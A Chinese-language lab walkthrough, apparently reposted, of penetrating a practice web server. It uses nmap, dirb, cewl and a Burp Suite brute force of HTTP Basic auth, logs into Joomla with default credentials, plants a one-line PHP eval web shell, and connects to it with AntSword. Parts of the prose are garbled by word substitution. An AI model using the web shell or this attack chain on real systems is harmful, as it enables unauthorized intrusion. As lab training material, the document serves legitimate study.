【web网络安全】网络安全底子阶段二（实战篇）
【web网络安全】网络安全底子阶段二媒介
本次通过实战详细完成了某个网站渗透过程。下面我将会利用kali的检察本机网段、nmap端口扫描、dirb 扫描网站目次、cewl爬取网页信息、注入shell木马完成整个渗透过程。
一、检察本地ip网段信息
1.方法一 （ifconfig）
输入指令：ifconfig
https://img-blog.csdnimg.cn/direct/fba5334e3a214f8eb6e8367b3e31d2ab.png
发现居然是ipv6，不知道什么缘故原由，有大佬知道的帮助解答一下。
这里借助小迪说的：能躺着为啥还要坐着，直接果断搜刮。
我是根据这个博主做的，题目已成功办理。
办理方法：https://blog.csdn.net/m0_51504576/article/details/121029009
https://img-blog.csdnimg.cn/direct/1d6d2e368bb2488c9cbfe0c2d8c3d6d5.png
2.方法二 （ip address）
输入指令：ip address
https://img-blog.csdnimg.cn/direct/e19c65a208a9401f9203e3b360712272.png
这里最后知道了我们的地址信息：
inet（ip地址） 192.168.75.221
netmask（子网掩码） 255.255.255.0
这里通过着以上俩个信息，可以得出我们的网络地址 ：192.168.75.0/24
二、nmap端口扫描
1.nmap +网络地址（大略扫描）
https://img-blog.csdnimg.cn/direct/9ed6900771bb47269406e3111d7a7442.png
这里可以得到了我们可以进入三组相对薄弱的具体的ip地址+端口号
平常我们用的直接是默认80端口号
[*]192.168.75.52：22
[*]192.168.75.52：80
[*]192.168.75.52：8080
2.nmap -A -T4 目标ip或域名
https://img-blog.csdnimg.cn/direct/2c831b4d634d4e08807969375f34691a.png
这里可以看到具体的具体ip地址+端口之后的信息。
这里注意80端口和8080端口的信息，后面会用到
可以看出8080端口比8080端口多了一些信息。
三、尝试渗透
1.直接进入http://192.168.75.52（默认80端口）
https://img-blog.csdnimg.cn/direct/a6766c66531a49fe8b730031334fdd95.png
这里可以本身手动输入一些网站目次，但这里还是借助小迪的话：能躺着为什么还要站着，
直接dirb扫。
2.dirb+域名 扫网站目次
https://img-blog.csdnimg.cn/direct/ed84c093041346b5a115166129f5d295.png
这里可以看到http://192.168.75.52/img和http://192.168.75.52/phpinfo.php扫描成功了
1.CDDE（状态码）：200
表示成功
2.CDDE（状态码）：403
被阻碍
http://192.168.75.52/img
https://img-blog.csdnimg.cn/direct/798e17327b7941c2b67b66c9e0dad230.png
http://192.168.75.52/phpinfo.php
https://img-blog.csdnimg.cn/direct/847f0827be724b2d9e72e7befe51bd50.png
http://192.168.75.52/server-status
https://img-blog.csdnimg.cn/direct/3e2182a8248a49aa8eed94b734afeadf.png
通过之前的扫描，可以看到这三个网站基本没有什么信息。那么直接换一个更多信息8080端口（上面有所提到）
https://img-blog.csdnimg.cn/direct/bf5bc443e64a4faa92d00d75be14842d.png
这里需要输入用户名和密码，开启bp，准备爆破字典。
四、burpsuit爆破字典
这里要注意，爆破不是盲目的爆破。反过来想，要管理这么多网站的账号密码，网络管理员不大概都记得的住吧？这种场景就跟我们担当侦探一样，网络管理员（工人）在制作房子的时候，肯定会留下一些蛛丝马迹的，方便本身记忆的，统统都是有迹可寻的。
1.cewl 域名（爬取当前网页信息）
cewl http://192.168.75.52
https://img-blog.csdnimg.cn/direct/21e6659ee87f4dd9935e2d675b276895.png
2.cewl 域名（爬信息） -w user.txt(后面转化成文本文件）
cewl http://192.168.75.52 -w user.txt
https://img-blog.csdnimg.cn/direct/295c2978c6b54db3bcadd8cb390d4707.png
你的终端在哪里，就在哪里天生对应的文本，我这里直接是桌面。
这里的文件我就当作用户名啦！
五、准备爆破
1.尝试在当前页面输入111和111
https://img-blog.csdnimg.cn/direct/229004371f234c91b4981a126d0adedf.png
2.burpsuit抓包
https://img-blog.csdnimg.cn/direct/db0474845aa940fb970406840e9c4057.png
这里可以看到Authorization: Basic MTExOjExMQ== 这一行。
属性：Authorization（注意这个属性，后面注入木马会用到）
输入值：Basic MTExOjExMQ==
小白：看不懂，啥玩意啊都，这Authorization啥玩意啊，另有这Basic MTExOjExMQ==
小坤：不要发急，逐步来，你看不懂别人也看不懂啊，大家都是人，对不对，一般看不懂的就是人家不想让你看懂的。
小白：嗷嗷，我明白了，加密对不对。
小坤：非常正确。
小白：那这俩个东西都有什么作用啊？
小坤：这里Authorization是授权的意思，意思就是这个意思，你可以把他当作要输入账号密码的框框，往内里输入正确的数值，就能进入了。
小白：那这里有俩个框框呢，一个MTExOjExMQ==怎么填啊。
小坤：还记的我说过，这是进行加密的事吧，一看这个有大写和小写字母另有==， 这个明显就是base64编码了，我们需要将他进行解码。 俩个即是号就代表他省略了4个字节，只要内里记得藏东西就行了。
将MTExOjExMQ==进行base64解码
https://img-blog.csdnimg.cn/direct/d509057529e24915900b4aa7261887f9.png
这里就可以看到正好是我们输入的值。不过这里需要注意加了：进行分开。
那么只能选取范例自界说范例有效载荷了。
3.选择有效载荷范例自界说范例
第一位置直接利用上面爬起页面得到的user.txt文件
第三位置我直接用的本身的积累的密码字典（后面我会发出来）。
第二位置需要本身手动加个：
https://img-blog.csdnimg.cn/direct/2d12a845d6334d7a90c0d6f2f32cb445.png
4.开始攻击
https://img-blog.csdnimg.cn/direct/acdee065087b4884a19877cd5a3e30aa.png
这里一般根据长度最特殊的谁人，就是正确答案啦。
Authorization: Basic am9rZXI6aGFubmFo
这样肯定是不能直接输入账号密码的，是一种加密的形式，所以我们需要将am9rZXI6aGFubmFo
进行解码。
https://img-blog.csdnimg.cn/direct/342d987259024d19a834f419d421ad4e.png
可以得到正确的账号密码。
账号：joker
密码：hannah
成功进入！
https://img-blog.csdnimg.cn/direct/07d1f04a1dc545708377ebc247a62406.png
小白：英文看不懂咋办？
小坤：直接打开我们右上角的翻译软件。
收集一下信息,我这里直接用的wapplyzer。
https://img-blog.csdnimg.cn/direct/8d8707611b424daf9de92f184efb84d0.png
可以看到基本没什么信息，需要账号密码，看来还是得登录账号密码啊，渗透之路就是这么滴艰巨，还是原来的套路。
这里我直接用了正确的账号和密码。
账号： joomla
密码： joomla
额，直接就是管理系统的名字，属实没想到。
https://img-blog.csdnimg.cn/direct/f04237dbbe3c4d93b3c6e439f35b9032.png
这个名字什么意思？额，看我本日必须拿下你，直接进入站点管理员链接。
不出意料又是账号密码
https://img-blog.csdnimg.cn/direct/6e882fa0c5c944968444ec07b6b24ab6.png
这里我直接用了正确的账号和密码。
账号： joomla
密码： joomla
收集了一下信息，一般厂商为了省事不进行安全过滤而又想要多样的功能，插件这里，极大概率大概植入我们的.php木马脚本，
https://img-blog.csdnimg.cn/direct/62d5d896ff26465e8ea9511cd6d7c213.png
打开语言文件夹中，随便创造一个名为：111.php脚本文件
文件输入木马
<?php
eval($_POST['666']);
?>
这里的eval表达式作用时我以为将内里任何代码进行实验并发送服务器端，这里直接创建了密码：666的木马，内容为空值，以post方式进行提交。
https://img-blog.csdnimg.cn/direct/4352ce024e27463d8a930bcca8fa0d1d.png
六、蚁剑shell
1.错误示范
直接将当前的url码放入蚁剑内里
URL地址：http://192.168.75.52:8080/administrator/index.php?option=com_templates&view=template&id=503&file=L2xhbmd1YWdlLzExMS5waHA%3D
毗连密码：666
https://img-blog.csdnimg.cn/direct/e936cbcf78a04e4a8d96e090ecfd0a01.png
请求毗连：
name:Authorization
value:Basic am9rZXI6aGFubmFo
小白：这个请求信息你咋填啊？
小坤：还记得我们之前进入8080端口，需要的账号密码了吧
小白：记得啊，账号：joker: 密码：hanna，那这个咋来的啊？
小坤：你想啊，我们人看到的是你所的谁人，但电脑又不是人，人家有本身的一套约定。
小白：嗷嗷，想起来了，我们抓包时的Authorization: Basic am9rZXI6aGFubmFo这个对不对
小坤：对了，就是这个
https://img-blog.csdnimg.cn/direct/e8177276f9e046469edf7bca193f945e.png
https://img-blog.csdnimg.cn/direct/6d8149f850ce4aff98a1da77631b5d0b.png
https://img-blog.csdnimg.cn/direct/3ee40ef4503943f68fd048db534dee43.png
这个可以看到，错误为{}空值，当时我们植入的木马就是空值，所以这里的url就是我们的木马响应而已。
2.正确示范
正确URL地址：http://192.168.75.52:8080/templates/beez3/language/111.php
成功渗透!
https://img-blog.csdnimg.cn/direct/980ea28f39aa485d9d98b0a8bc0bcecd.png
j进入终端
https://img-blog.csdnimg.cn/direct/5eb43b98af574c93b9a85ebfb69598b4.png
总结
本次完成了一个网站的渗透测试。 以上就是本日要讲的内容，比较长，因为第一次，所以比较细节，后续我将会从我的学习过程中积极不断更新。
喜欢本文的请动动小手点个赞，收藏一下，有题目请下方评论，转载请注明出处，并附有原文链接，谢谢！如有侵权，请实时联系。
实验工具：
VM虚拟机：https://www.123pan.com/s/oAIbjv-iuWod.html 提取码：UEsR
Kali：https://www.123pan.com/s/oAIbjv-cUWod.html 提取码:oyJE
Wappalyer:https://www.wappalyzer.com
Burp suit：https://portswigger.net/burp/communitydownload
joker服务器:还是算了吧…
补充：发现发的密码字典需要vip可以，我本身搞了一个网盘
密码字典：https://www.123pan.com/s/IWxATd-O7sNv.html提取码：TSIN
免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！更多信息从访问主页：qidao123.com:ToB企服之家，中国第一个企服评测及商务社交产业平台。
页:
[1]